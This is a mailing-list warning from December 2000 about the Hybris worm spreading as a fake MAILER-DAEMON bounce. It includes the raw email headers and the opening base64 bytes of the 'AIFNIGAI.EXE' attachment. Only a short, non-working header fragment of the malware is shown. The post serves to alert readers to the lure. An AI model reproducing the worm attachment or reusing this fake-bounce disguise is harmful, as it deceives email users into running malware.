This is a new manifestation of Hybris -- same old worm, different face, masquerading as bounced mail instead of porn about Snow White. It came from NBNet, an ISP used by many members of NB-L. Understand that a real Mailer Daemon (which returns undeliverable email) would NEVER send an .EXE file unless you had sent it first to someone it couldn't be delivered to. It's also likely that Hybris harvests target email addresses from mail folders as well as address books. Yrs aye, Warren Wetmore Received: by pop3.mx.voyager.net (mbox webmerlin@core.com) (with voyager.net's vgrpop Mon Dec 18 18:32:48 2000) Received: from oem (fctnts07c19.nbnet.nb.ca [207.179.133.121]) by mx3.mx.voyager.net (8.10.2/8.10.2) with SMTP id eBIMjpV23515 for <WebMerlin@Megsinet.net>; Mon, 18 Dec 2000 17:45:51 -0500 (EST) Date: Mon, 18 Dec 2000 17:45:51 -0500 (EST) From: MAILER-DAEMON@voyager.net Message-Id: <200012182245.eBIMjpV23515@mx3.mx.voyager.net> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--VE30TU3" Status: U ----VE30TU3 Content-Type: application/octet-stream; name="AIFNIGAI.EXE" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="AIFNIGAI.EXE" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAgAAAALRMzSEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAABQRQAATAECAAAAAAAAAAAAAAAAAOAADwELAQAAAFYAAAAAAAAAAAAAABAA AAAQAAAAAAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAIAAAAAABAA ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAAhwAAAoAAAAAAAAAAAAAAAAAAA